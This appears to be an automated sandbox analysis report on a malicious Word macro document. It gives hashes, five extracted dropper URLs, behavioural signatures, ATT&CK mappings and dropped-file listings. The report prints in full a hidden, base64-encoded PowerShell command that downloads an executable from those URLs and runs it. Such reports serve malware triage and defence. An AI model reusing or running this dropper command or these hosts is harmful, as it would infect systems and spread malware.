a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35

General

Target

a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc
Size

181KB
MD5

c87b8d603c1bbb68f7043b828d4f33d2
SHA1

9212853008d9740e1be2f2bc211160ac3a93d15f
SHA256

a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35
SHA512

8919fba1472d8b8cb175cab9b59414b4ba9b213bed93576cbedff9d73dabbc2703c597f3723b6a12991801be63765233bba7c3d032216206c48b78c5834dc7d3
SSDEEP

3072:6FOa2y/GdyDktGDWLS0HZWD5w8K7Nk9ND7IBUd5xKu/UW:COa2k43tGiL3HJk9ND7bdnKu/D

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://eilonstrategy.florencesoftwares.com/wp-content/mu/

exe.dropper

http://pakiskemenagntb.com/wp-content/4k/

exe.dropper

http://ivyfriend.com/ivypal/wp-includes/h20/

exe.dropper

http://julianaweb.cordeldigital.com/wp-includes/0vu/

exe.dropper

http://itsallinclusive.com/ar/Xd7OiT/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2344	1988	Powershell.exe	82

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	2344	Powershell.exe
31	2344	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2344	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1144	WINWORD.EXE
1144	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2344	Powershell.exe
2344	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 4868	1144	WINWORD.EXE	85
PID 1144 wrote to memory of 4868	1144	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4868

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABGAHcAZABwAGMAZgBrAG8AbAB0AD0AJwBVAGIAcgBuAGIAaQBkAGoAbwB2AG4AJwA7ACQATgBuAGkAcQB3AGQAdQBmACAAPQAgACcANAA1ADMAJwA7ACQARAB1AGMAeQBiAGkAZgB2AHoAagBiAD0AJwBCAHoAagBzAHEAcQB6AHQAZwB5AGkAYgBtACcAOwAkAEUAZgBlAHcAeQBoAGsAeQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AaQBxAHcAZAB1AGYAKwAnAC4AZQB4AGUAJwA7ACQAVwBqAGoAcgBkAG8AYwBxAG0AbQBzAGIAPQAnAEMAaQBtAHYAbABjAGoAZQBkAHcAdgBuAHUAJwA7ACQAQQBxAHcAdwBlAHQAcABxAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMAbABJAGUAbgB0ADsAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwA9ACcAaAB0AHQAcAA6AC8ALwBlAGkAbABvAG4AcwB0AHIAYQB0AGUAZwB5AC4AZgBsAG8AcgBlAG4AYwBlAHMAbwBmAHQAdwBhAHIAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC8AKgBoAHQAdABwADoALwAvAHAAYQBrAGkAcwBrAGUAbQBlAG4AYQBnAG4AdABiAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABrAC8AKgBoAHQAdABwADoALwAvAGkAdgB5AGYAcgBpAGUAbgBkAC4AYwBvAG0ALwBpAHYAeQBwAGEAbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGgAMgAwAC8AKgBoAHQAdABwADoALwAvAGoAdQBsAGkAYQBuAGEAdwBlAGIALgBjAG8AcgBkAGUAbABkAGkAZwBpAHQAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAHYAdQAvACoAaAB0AHQAcAA6AC8ALwBpAHQAcwBhAGwAbABpAG4AYwBsAHUAcwBpAHYAZQAuAGMAbwBtAC8AYQByAC8AWABkADcATwBpAFQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAJwAqACcAKQA7ACQAVAB4AHAAaABsAHoAcAB6AGoAZABoAHoAagA9ACcAWQBvAHAAdABkAHAAdwBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0AegB4AG0AYQBiAGwAawB5AGMAdgBuACAAaQBuACAAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwApAHsAdAByAHkAewAkAEEAcQB3AHcAZQB0AHAAcQAuACIAZABPAFcAYABOAEwAYABPAEEAZABmAEkAYABsAGUAIgAoACQATQB6AHgAbQBhAGIAbABrAHkAYwB2AG4ALAAgACQARQBmAGUAdwB5AGgAawB5AGQAKQA7ACQAUgBnAG4AdgBxAHUAZQB1AHQAcAA9ACcAWABhAG4AagBjAHMAZQBjAGEAaQB4AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAGYAZQB3AHkAaABrAHkAZAApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANQAzADgAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAVAAiACgAJABFAGYAZQB3AHkAaABrAHkAZAApADsAJABUAGcAeAByAG8AaQBjAGgAPQAnAE4AbQBuAHUAcABkAHEAdgB1AHMAJwA7AGIAcgBlAGEAawA7ACQARgB0AG8AdwB3AGoAaQBpAHAAbwBzAD0AJwBOAHcAeABvAGwAdQBzAGUAeABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAbABmAGcAYwBtAGUAaABkAGEAZAA9ACcATQB0AHkAegB3AHkAdAB0AGoAYgBnAHMAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FA94B5EC.wmf

Filesize
444B

MD5
70d42356afe04bc5210963267cdc2393

SHA1
fe8091750472f5a2497ff885fbe6609d90082b89

SHA256
d6ba8d55e89c2867d62d95e66511939b12e1a076f5c890190ae8105d7eb9cbad

SHA512
416c62d215d32257b1eba89bd4bf9fab3c36583d56c502ccb1ee771268f78924c317054c5cbd2dd2303484cb5dcb9d7078d14e6e326ac456aeaef233fdc6d9ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD5E.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_101qzv4p.nkf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PD0HRXAATU8GJ3ZJ8WMV.temp

Filesize
1KB

MD5
cac164311379a58448edcccdac17a940

SHA1
f4c6b44071ea92af463dad9596fedc0f4909fe46

SHA256
441d848108084f800c66306827c7803522e28d8d52cf4f3bf40a1b0a03a82800

SHA512
50f2bff5f0fcd3b0a941256da03a067135f6819a535489e6582bb272dfb6c7929dfd30ee359ac3bfde746e5d55001143dde43ae2c1264877849542fd27ec450b

Download Submit
memory/1144-8-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-10-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-1-0x00007FFFF064D000-0x00007FFFF064E000-memory.dmp

Filesize
4KB

Download
memory/1144-7-0x00007FFFB0630000-0x00007FFFB0640000-memory.dmp

Filesize
64KB

Download
memory/1144-12-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-14-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-15-0x00007FFFADF90000-0x00007FFFADFA0000-memory.dmp

Filesize
64KB

Download
memory/1144-13-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-16-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-18-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-19-0x00007FFFADF90000-0x00007FFFADFA0000-memory.dmp

Filesize
64KB

Download
memory/1144-17-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-11-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-9-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-4-0x00007FFFB0630000-0x00007FFFB0640000-memory.dmp

Filesize
64KB

Download
memory/1144-5-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-6-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-0-0x00007FFFB0630000-0x00007FFFB0640000-memory.dmp

Filesize
64KB

Download
memory/1144-2-0x00007FFFB0630000-0x00007FFFB0640000-memory.dmp

Filesize
64KB

Download
memory/1144-73-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-75-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/1144-74-0x00007FFFF064D000-0x00007FFFF064E000-memory.dmp

Filesize
4KB

Download
memory/1144-3-0x00007FFFB0630000-0x00007FFFB0640000-memory.dmp

Filesize
64KB

Download
memory/1144-81-0x00007FFFF05B0000-0x00007FFFF07A5000-memory.dmp

Filesize
2.0MB

Download
memory/2344-51-0x000001EB359A0000-0x000001EB359C2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads